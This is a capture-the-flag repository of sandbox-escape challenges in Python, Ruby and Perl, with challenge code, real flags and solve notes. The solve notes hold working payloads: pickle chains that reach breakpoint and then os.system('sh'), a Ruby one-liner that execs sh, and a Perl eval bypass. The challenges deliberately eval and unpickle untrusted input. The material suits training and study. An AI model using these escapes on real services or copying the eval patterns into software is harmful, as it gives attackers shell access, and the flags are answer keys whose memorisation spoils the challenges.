-------------------------------------------------------------------------------- /pickled-magic/solve/README.md: -------------------------------------------------------------------------------- 1 | # pickled magic 2 | 3 | i checked which numpy submodules have import builtins so we can just get breakpoint or whatever and win (see [here](https://github.com/search?q=repo%3Anumpy%2Fnumpy%20%2Fimport%20builtins%2F&type=code)) 4 | 5 | there are many ways to solve this but `numpy.ma.core.builtins.breakpoint` is what i happened to find first 6 | 7 | see solve.py 8 | 9 | -------------------------------------------------------------------------------- /pickled-magic/solve/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from pickle import * 3 | from subprocess import check_output 4 | 5 | p = remote("localhost", 5000) 6 | 7 | # solve pow 8 | p.recvline() 9 | p.sendline(check_output(p.recvline().strip(),shell=True).strip()) 10 | 11 | # win 12 | pl = b'' 13 | pl += GLOBAL + b'numpy\nma.core.builtins.breakpoint\n' + EMPTY_TUPLE + REDUCE + STOP 14 | p.sendline(pl.hex().encode('ascii')) 15 | p.sendline(b'import os') 16 | p.sendline(b'os.system("sh")') 17 | 18 | print('you will have a shell give it a moment') 19 | 20 | p.interactive() 21 | 22 | -------------------------------------------------------------------------------- /polyglo7quine/README.md: -------------------------------------------------------------------------------- 1 | # polyglo7quine 2 | 3 | category: pyjail/mainstream/ruby/perl/lua/php/c/cpp 4 | 5 | ## Description 6 | 7 | How many programming languages do you *REALLY* know? 8 | -------------------------------------------------------------------------------- /polyglo7quine/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 AS app 2 | 3 | # install main languages + curl for crystal 4 | ENV DEBIAN_FRONTEND=noninteractive 5 | RUN apt-get update && apt-get install -y \ 6 | python3 \ 7 | ruby \ 8 | perl \ 9 | lua5.3 \ 10 | gcc \ 11 | g++ \ 12 | php \ 13 | curl 14 | 15 | # install crystal 16 | RUN curl -fsSL https://crystal-lang.org/install.sh | bash 17 | 18 | # remove curl to make any possible exfils a bit more annoying 19 | RUN apt-get remove curl -y 20 | 21 | # build chal 22 | COPY chal.cr chal.cr 23 | RUN mkdir /app && \ 24 | crystal build --no-debug --release --static --stats --progress -o /app/run chal.cr && \ 25 | rm chal.cr && \ 26 | chmod 711 /app/run 27 | 28 | # clean 29 | RUN apt-get clean \ 30 | && rm -rf /var/lib/apt/lists/* 31 | 32 | # jail!!!!! 33 | FROM pwn.red/jail 34 | COPY --from=app / /srv 35 | 36 | ENV JAIL_MEM=20M JAIL_TMP_SIZE=5M -------------------------------------------------------------------------------- /respy-evil-challenge/README.md: -------------------------------------------------------------------------------- 1 | # respy evil challenge 2 | 3 | category: pyjail/pwn 4 | 5 | ## description 6 | 7 | todo add description 8 | 9 | -------------------------------------------------------------------------------- /respy-evil-challenge/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir RestrictedPython 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /respy-evil-challenge/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /respy-evil-challenge/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from RestrictedPython import compile_restricted 3 | from RestrictedPython import safe_globals 4 | 5 | from RestrictedPython.Guards import full_write_guard 6 | from RestrictedPython.Eval import default_guarded_getiter 7 | safe_globals['_write_'] = full_write_guard 8 | safe_globals['_getiter_'] = default_guarded_getiter 9 | 10 | source_code = input("gib code: ") 11 | byte_code = compile_restricted(source_code, '', 'eval') 12 | eval(byte_code, safe_globals, {}) 13 | -------------------------------------------------------------------------------- /respy-evil-challenge/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir RestrictedPython 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /respy-evil-challenge/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{now_go_d-O_void_f61c5030ae689b057f8a4d62} 2 | -------------------------------------------------------------------------------- /respy-evil-challenge/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from RestrictedPython import compile_restricted 3 | from RestrictedPython import safe_globals 4 | 5 | from RestrictedPython.Guards import full_write_guard 6 | from RestrictedPython.Eval import default_guarded_getiter 7 | safe_globals['_write_'] = full_write_guard 8 | safe_globals['_getiter_'] = default_guarded_getiter 9 | 10 | source_code = input("gib code: ") 11 | byte_code = compile_restricted(source_code, '', 'eval') 12 | eval(byte_code, safe_globals, {}) 13 | -------------------------------------------------------------------------------- /respy-nice-challenge/README.md: -------------------------------------------------------------------------------- 1 | # respy nice challenge 2 | 3 | category: pyjail 4 | 5 | ## description 6 | 7 | todo put description 8 | 9 | -------------------------------------------------------------------------------- /respy-nice-challenge/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir RestrictedPython 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /respy-nice-challenge/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /respy-nice-challenge/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from RestrictedPython import compile_restricted 3 | from RestrictedPython import safe_globals, utility_builtins 4 | exec_globals = {**safe_globals, **utility_builtins} 5 | exec_locals = {} 6 | code = input('code > ') 7 | code = compile_restricted(code, '', 'exec') 8 | exec(code, exec_globals, exec_locals) -------------------------------------------------------------------------------- /respy-nice-challenge/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir RestrictedPython 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=29M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_PIDS=12 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /respy-nice-challenge/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{hooray_we_love_python_sandbox_libraries} 2 | -------------------------------------------------------------------------------- /respy-nice-challenge/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from RestrictedPython import compile_restricted 3 | from RestrictedPython import safe_globals, utility_builtins 4 | exec_globals = {**safe_globals, **utility_builtins} 5 | exec_locals = {} 6 | code = input('code > ') 7 | code = compile_restricted(code, '', 'exec') 8 | exec(code, exec_globals, exec_locals) -------------------------------------------------------------------------------- /ruby-on-jails/README.md: -------------------------------------------------------------------------------- 1 | # ruby on jails 2 | 3 | category: mainstream/ruby 4 | 5 | ## description 6 | 7 | sorry i couldn't think of a better name for this challenge 8 | -------------------------------------------------------------------------------- /ruby-on-jails/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:3.3.4@sha256:0bf712ba12549864ccbc3fe092c2684ed1542138727a219729052942725c1498 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.rb /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | 8 | RUN mv /srv/app/flag.txt /srv/app/flag-$(head -c16 /dev/urandom | xxd -c32 -p).txt 9 | 10 | ENV JAIL_MEM=30M JAIL_TIME=30 JAIL_CONNS_PER_IP=2 -------------------------------------------------------------------------------- /ruby-on-jails/handout/chal.rb: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/ruby 2 | 3 | AST = RubyVM::AbstractSyntaxTree 4 | 5 | $banned_opcodes = [ 6 | :CALL, :FCALL, :OPCALL, :QCALL, :VCALL, :DXSTR, :XSTR, :ALIAS, :VALIAS 7 | ] 8 | 9 | def check(ast) 10 | if $banned_opcodes.include?(ast.type) 11 | puts "Banned opcode: #{ast.type}" 12 | exit 1 13 | end 14 | ast.children.map do |node| 15 | if node.is_a?(AST::Node) 16 | check(node) 17 | end 18 | end 19 | end 20 | 21 | STDOUT.sync = true 22 | print "Input your very sanitized code: " 23 | code = gets 24 | 25 | ast = AST.parse(code) 26 | check(ast) 27 | 28 | eval code -------------------------------------------------------------------------------- /ruby-on-jails/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} -------------------------------------------------------------------------------- /ruby-on-jails/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:3.3.4@sha256:0bf712ba12549864ccbc3fe092c2684ed1542138727a219729052942725c1498 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.rb /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | 8 | RUN mv /srv/app/flag.txt /srv/app/flag-$(head -c16 /dev/urandom | xxd -c32 -p).txt 9 | 10 | ENV JAIL_MEM=30M JAIL_TIME=30 JAIL_CONNS_PER_IP=2 -------------------------------------------------------------------------------- /ruby-on-jails/remote/chal.rb: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/ruby 2 | 3 | AST = RubyVM::AbstractSyntaxTree 4 | 5 | $banned_opcodes = [ 6 | :CALL, :FCALL, :OPCALL, :QCALL, :VCALL, :DXSTR, :XSTR, :ALIAS, :VALIAS 7 | ] 8 | 9 | def check(ast) 10 | if $banned_opcodes.include?(ast.type) 11 | puts "Banned opcode: #{ast.type}" 12 | exit 1 13 | end 14 | ast.children.map do |node| 15 | if node.is_a?(AST::Node) 16 | check(node) 17 | end 18 | end 19 | end 20 | 21 | STDOUT.sync = true 22 | print "Input your very sanitized code: " 23 | code = gets 24 | 25 | ast = AST.parse(code) 26 | check(ast) 27 | 28 | eval code -------------------------------------------------------------------------------- /ruby-on-jails/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{hey_i_just_met_you_and_this_is_crazy_but_heres_my_number_so_call_me_maybe} -------------------------------------------------------------------------------- /ruby-on-jails/solve/README.md: -------------------------------------------------------------------------------- 1 | # ruby on jails 2 | 3 | ```rb 4 | ->&x{x[Kernel,'sh']+=0}[&:exec]+=0 5 | ``` -------------------------------------------------------------------------------- /smiley-faiss/README.md: -------------------------------------------------------------------------------- 1 | # smiley-faiss 2 | 3 | category: pyjail/pickle 4 | 5 | ## description 6 | 7 | exploit the cartel's unpickler impl 8 | 9 | -------------------------------------------------------------------------------- /smiley-faiss/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | COPY safernumpy/ /srv/app/safernumpy/ 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /smiley-faiss/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /smiley-faiss/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # slightly modified. original at https://github.com/facebookresearch/faiss/blob/main/contrib/rpc.py 3 | import pickle 4 | from io import BytesIO 5 | import importlib 6 | 7 | safe_modules = { 8 | 'numpy', 9 | 'numpy.core.multiarray', 10 | } 11 | 12 | 13 | class RestrictedUnpickler(pickle.Unpickler): 14 | def find_class(self, module, name): 15 | # Only allow safe modules. 16 | if "save" in name or "load" in name: 17 | return 18 | if module in safe_modules: 19 | import safernumpy 20 | import safernumpy.core.multiarray 21 | return getattr({"numpy": safernumpy, "numpy.core.multiarray": safernumpy.core.multiarray}[module], name) 22 | # Forbid everything else. 23 | raise pickle.UnpicklingError("global '%s.%s' is forbidden" % 24 | (module, name)) 25 | 26 | if __name__ == "__main__": 27 | #RestrictedUnpickler(BytesIO().load() 28 | RestrictedUnpickler(BytesIO(bytes.fromhex(input(">")))).load() 29 | -------------------------------------------------------------------------------- /smiley-faiss/handout/safernumpy/__init__.py: -------------------------------------------------------------------------------- 1 | import safernumpy.core 2 | # cant have vulnerabilities in functions if there are no functions to begin with! 3 | -------------------------------------------------------------------------------- /smiley-faiss/handout/safernumpy/core/__init__.py: -------------------------------------------------------------------------------- 1 | import safernumpy.core.multiarray 2 | # nuh uh 3 | -------------------------------------------------------------------------------- /smiley-faiss/handout/safernumpy/core/multiarray/__init__.py: -------------------------------------------------------------------------------- 1 | # same goes here lol 2 | -------------------------------------------------------------------------------- /smiley-faiss/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | COPY safernumpy/ /srv/app/safernumpy/ 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /smiley-faiss/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{.;,;._.;,;._.;,;._.;,;._they_are_watching...beware!} 2 | -------------------------------------------------------------------------------- /smiley-faiss/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # slightly modified. original at https://github.com/facebookresearch/faiss/blob/main/contrib/rpc.py 3 | import pickle 4 | from io import BytesIO 5 | import importlib 6 | 7 | safe_modules = { 8 | 'numpy', 9 | 'numpy.core.multiarray', 10 | } 11 | 12 | 13 | class RestrictedUnpickler(pickle.Unpickler): 14 | def find_class(self, module, name): 15 | # Only allow safe modules. 16 | if "save" in name or "load" in name: 17 | return 18 | if module in safe_modules: 19 | import safernumpy 20 | import safernumpy.core.multiarray 21 | return getattr({"numpy": safernumpy, "numpy.core.multiarray": safernumpy.core.multiarray}[module], name) 22 | # Forbid everything else. 23 | raise pickle.UnpicklingError("global '%s.%s' is forbidden" % 24 | (module, name)) 25 | 26 | if __name__ == "__main__": 27 | #RestrictedUnpickler(BytesIO().load() 28 | RestrictedUnpickler(BytesIO(bytes.fromhex(input(">")))).load() 29 | -------------------------------------------------------------------------------- /smiley-faiss/remote/safernumpy/__init__.py: -------------------------------------------------------------------------------- 1 | import safernumpy.core 2 | # cant have vulnerabilities in functions if there are no functions to begin with! 3 | -------------------------------------------------------------------------------- /smiley-faiss/remote/safernumpy/core/__init__.py: -------------------------------------------------------------------------------- 1 | import safernumpy.core.multiarray 2 | # nuh uh 3 | -------------------------------------------------------------------------------- /smiley-faiss/remote/safernumpy/core/multiarray/__init__.py: -------------------------------------------------------------------------------- 1 | # same goes here lol 2 | -------------------------------------------------------------------------------- /smiley-faiss/solve/README.md: -------------------------------------------------------------------------------- 1 | # smiley-faiss 2 | 3 | ok basically one "well known"(ish) trick is that if you have getattr but not _getattribute (with ".") on a specific object, if you can get an attribute of that object that can have its attributes overwritten, it is easy to get rce 4 | 5 | by that i mean: 6 | 7 | ``` 8 | class Dummy: pass 9 | 10 | outer = Dummy() 11 | outer.inner = Dummy() 12 | outer.inner.escape = {'woohoo': breakpoint} 13 | ``` 14 | 15 | so basically if it was just an object and it had a dictionary attribute (e.g. `__builtins__`) with a valuable object (e.g. `breakpoint`), it is not possible without having this inner-outer setup 16 | 17 | if it is permitted in find_class to do `getattr(outer, name)` and also `getattr(outer.inner, name)` then one can `getattr(outer, "inner")` to get inner and then abuse the BUILD 18 | opcode, which allows for arbitrary setattr (you may see where this is going). so, by doing BUILD with slotstate and `getattr(outer.inner, "escape")`, then you can get the breakpoint function (in this example). 19 | 20 | however, with this challenge, one has to do a double extension with numpy.core and then numpy.core.multiarray. this is not possible with the original importlib impl for some reason because it bypasses our overwriting of attributes (probably because it is importing the module again instead of using getattr) 21 | 22 | so, a valid payload is 23 | 24 | ```(GLOBAL + b"numpy\ncore\n" + NONE + MARK + UNICODE + b'multiarray\n' + GLOBAL + b'numpy\ncore\n' + DICT + TUPLE2 + BUILD + POP + GLOBAL + b'numpy\ncore\n' + NONE + GLOBAL + b'numpy\n__builtins__\n' + TUPLE2 + BUILD + GLOBAL + b'numpy.core.multiarray\nbreakpoint\n' + EMPTY_TUPLE + REDUCE + STOP).hex()``` 25 | 26 | -------------------------------------------------------------------------------- /stupid-crypto-chall/README.md: -------------------------------------------------------------------------------- 1 | # stupid crypto chall 2 | 3 | category: pyjail/crypto/golf 4 | 5 | ## description 6 | 7 | go crazy go stupid go stupid go crazy 8 | 9 | -------------------------------------------------------------------------------- /stupid-crypto-chall/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /stupid-crypto-chall/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /stupid-crypto-chall/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from random import random, seed 3 | from ast import literal_eval 4 | 5 | 6 | def main(): 7 | a, b = input('> ').split(" ") 8 | if len(b) > 3346: 9 | print('nuh uh') 10 | exit() 11 | seed(literal_eval(b)) 12 | total_prog = "".join([("".join(map(chr, range(32, 127))) + '\n')[int(random() * 96)] for i in range(literal_eval(a))]) 13 | eval(total_prog) 14 | 15 | 16 | if __name__ == "__main__": 17 | main() 18 | 19 | -------------------------------------------------------------------------------- /stupid-crypto-chall/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /stupid-crypto-chall/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{randomn't_c136143683607e7e4dc02b06a092ec4d} 2 | -------------------------------------------------------------------------------- /stupid-crypto-chall/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from random import random, seed 3 | from ast import literal_eval 4 | 5 | 6 | def main(): 7 | a, b = input('> ').split(" ") 8 | if len(b) > 3346: 9 | print('nuh uh') 10 | exit() 11 | seed(literal_eval(b)) 12 | total_prog = "".join([("".join(map(chr, range(32, 127))) + '\n')[int(random() * 96)] for i in range(literal_eval(a))]) 13 | eval(total_prog) 14 | 15 | 16 | if __name__ == "__main__": 17 | main() 18 | 19 | -------------------------------------------------------------------------------- /stupid-crypto-chall/solve/README.md: -------------------------------------------------------------------------------- 1 | # stupid crypto chall 2 | 3 | See [solve.py](solve.py) -------------------------------------------------------------------------------- /substitute-teacher/README.md: -------------------------------------------------------------------------------- 1 | # substitute teacher 2 | 3 | category: esolang 4 | 5 | ## description 6 | 7 | i overheard we had a sub so i thought class was going to be easy... this is not what i thought they meant by "substitute teacher" 8 | 9 | flag is in format `jail{[a-z_]+}` for this challenge. 10 | 11 | -------------------------------------------------------------------------------- /substitute-teacher/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_CPU=125 JAIL_TIME=1600 JAIL_CONNS_PER_IP=1 8 | -------------------------------------------------------------------------------- /substitute-teacher/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /substitute-teacher/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from random import randint 3 | 4 | 5 | def run_prog(state: str, prog: str): 6 | steps = 0 7 | assert " " not in state 8 | before_outer = None 9 | splitted = prog.splitlines(keepends=False) 10 | assert len(splitted) < 200, "too long code" 11 | while True: 12 | if before_outer == state: 13 | break 14 | before_outer = state 15 | for line in splitted: 16 | if len(line.strip()) == 0: 17 | continue 18 | statement = line.split(" ") 19 | if len(statement) == 1: 20 | if statement[0] == "@": 21 | if before_outer != state: 22 | break 23 | else: 24 | before = None 25 | while True: 26 | if before == state: 27 | break 28 | before = state 29 | state = state.replace(statement[0], statement[1]) 30 | steps += 1 31 | assert steps < 10000, "too many steps" 32 | assert len(state) < 4000, "too many state" 33 | return state 34 | 35 | 36 | def check_xor(prog: str): 37 | for _ in range(60): 38 | a, b = randint(1, 1000), randint(1, 1000) 39 | if str(a ^ b) != run_prog(f"{a}^{b}", prog): 40 | return False 41 | return True 42 | 43 | 44 | def input_multiline() -> str: 45 | total = "" 46 | while (line := input("> ")) != "": 47 | total += line + '\n' 48 | return total 49 | 50 | 51 | def main(): 52 | while True: 53 | choice = input("do you want to substitute? (y/n) > ") 54 | if choice.lower()[0] == "y": 55 | print("input prog, type on a line by itself to stop inputting") 56 | prog = input_multiline() 57 | if not check_xor(prog): 58 | print("incorrect") 59 | continue 60 | with open("flag.txt") as f: 61 | left, *chars = f.read().encode() 62 | for right in chars: 63 | left = int(run_prog(f"{left}^{right}", prog)) 64 | print("xor'd flag bytes:", left) 65 | else: 66 | break 67 | print('bye') 68 | 69 | 70 | if __name__ == '__main__': 71 | main() 72 | -------------------------------------------------------------------------------- /substitute-teacher/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_CPU=125 JAIL_TIME=1600 JAIL_CONNS_PER_IP=1 8 | -------------------------------------------------------------------------------- /substitute-teacher/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{markov_algo_e5dfdd7d5cbc0d596} 2 | -------------------------------------------------------------------------------- /substitute-teacher/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from random import randint 3 | 4 | 5 | def run_prog(state: str, prog: str): 6 | steps = 0 7 | assert " " not in state 8 | before_outer = None 9 | splitted = prog.splitlines(keepends=False) 10 | assert len(splitted) < 200, "too long code" 11 | while True: 12 | if before_outer == state: 13 | break 14 | before_outer = state 15 | for line in splitted: 16 | if len(line.strip()) == 0: 17 | continue 18 | statement = line.split(" ") 19 | if len(statement) == 1: 20 | if statement[0] == "@": 21 | if before_outer != state: 22 | break 23 | else: 24 | before = None 25 | while True: 26 | if before == state: 27 | break 28 | before = state 29 | state = state.replace(statement[0], statement[1]) 30 | steps += 1 31 | assert steps < 10000, "too many steps" 32 | assert len(state) < 4000, "too many state" 33 | return state 34 | 35 | 36 | def check_xor(prog: str): 37 | for _ in range(60): 38 | a, b = randint(1, 1000), randint(1, 1000) 39 | if str(a ^ b) != run_prog(f"{a}^{b}", prog): 40 | return False 41 | return True 42 | 43 | 44 | def input_multiline() -> str: 45 | total = "" 46 | while (line := input("> ")) != "": 47 | total += line + '\n' 48 | return total 49 | 50 | 51 | def main(): 52 | while True: 53 | choice = input("do you want to substitute? (y/n) > ") 54 | if choice.lower()[0] == "y": 55 | print("input prog, type on a line by itself to stop inputting") 56 | prog = input_multiline() 57 | if not check_xor(prog): 58 | print("incorrect") 59 | continue 60 | with open("flag.txt") as f: 61 | left, *chars = f.read().encode() 62 | for right in chars: 63 | left = int(run_prog(f"{left}^{right}", prog)) 64 | print("xor'd flag bytes:", left) 65 | else: 66 | break 67 | print('bye') 68 | 69 | 70 | if __name__ == '__main__': 71 | main() 72 | -------------------------------------------------------------------------------- /substitute-teacher/solve/README.md: -------------------------------------------------------------------------------- 1 | # substitute teacher 2 | 3 | todo put solve ideas 4 | 5 | -------------------------------------------------------------------------------- /tiniest/README.md: -------------------------------------------------------------------------------- 1 | # tiniest 2 | 3 | category: mainstream/perl 4 | 5 | ## description 6 | 7 | We had a bet to see who could write the smallest jail... 8 | -------------------------------------------------------------------------------- /tiniest/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM perl:5.40.0@sha256:545d7c6a7b9d2951fab2631d5179098bd5c7e69bc00ca44b0e74e61d02b81de8 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.pl /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | 8 | ENV JAIL_MEM=20M JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /tiniest/handout/chal.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | eval<>=~y/rev xs//cdr -------------------------------------------------------------------------------- /tiniest/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /tiniest/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM perl:5.40.0@sha256:545d7c6a7b9d2951fab2631d5179098bd5c7e69bc00ca44b0e74e61d02b81de8 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.pl /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | 8 | ENV JAIL_MEM=20M JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /tiniest/remote/chal.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | eval<>=~y/rev xs//cdr -------------------------------------------------------------------------------- /tiniest/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{d1d_y0u_kn0w_th4t_93%_of_p41nt_sp14tt3r5_ar3_v4lid_p3rl_pr0gr4m5?} -------------------------------------------------------------------------------- /tiniest/solve/README.md: -------------------------------------------------------------------------------- 1 | # tiniest 2 | 3 | Perl's substitution+eval syntax `s///e` allows one to perform arbitrary `eval`, provided that you can generate a useful string. Because it's Perl, the `/` delimiter can actually be any character, so `s eeee` is also valid syntax and bypasses the restrictions. In order to build a string, we can use the version string syntax `v69` (synonymous with `chr 69`). Due to the limited charset, generating numbers is difficult, but can be done `eval`ing `1111...(42 ones)...1111`. This turns into `1.11111111111111e+41`. This is all you really need to generate and `eval` arbitrary strings, but very careful substitution work is necessary to fit everything in the right way such that it forms a valid Perl payload. See [payload.pl](payload.pl) for inspiration (although it probably isn't very helpful). 4 | -------------------------------------------------------------------------------- /void/README.md: -------------------------------------------------------------------------------- 1 | # void 2 | 3 | display name: 𝚟𝚘𝚒𝚍 4 | 5 | category: pyjail 6 | 7 | ## description 8 | 9 | -------------------------------------------------------------------------------- /void/handout/docker/Dockerfile.local.prebuilt: -------------------------------------------------------------------------------- 1 | # In the parent directory: 2 | # docker build docker/Dockerfile.local -t void . 3 | # docker run --init -it --rm -v SCRIPT_PATH:/tmp/file.py void 4 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 5 | 6 | COPY flag /flag 7 | 8 | WORKDIR /app 9 | COPY embedder.docker /app/embedder 10 | COPY docker/local_entry.py . 11 | 12 | ENTRYPOINT ["/app/local_entry.py"] 13 | -------------------------------------------------------------------------------- /void/handout/docker/Dockerfile.prebuilt: -------------------------------------------------------------------------------- 1 | FROM pwn.red/jail 2 | 3 | COPY --from=python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 / /srv 4 | 5 | RUN mkdir /srv/app 6 | COPY embedder.docker /srv/app/embedder 7 | COPY docker/entry.py /srv/app/run 8 | COPY docker/hook.sh /jail/hook.sh 9 | COPY flag /srv/ 10 | ENV JAIL_TMP_SIZE=65536 JAIL_MEM=20M JAIL_PIDS=10 11 | -------------------------------------------------------------------------------- 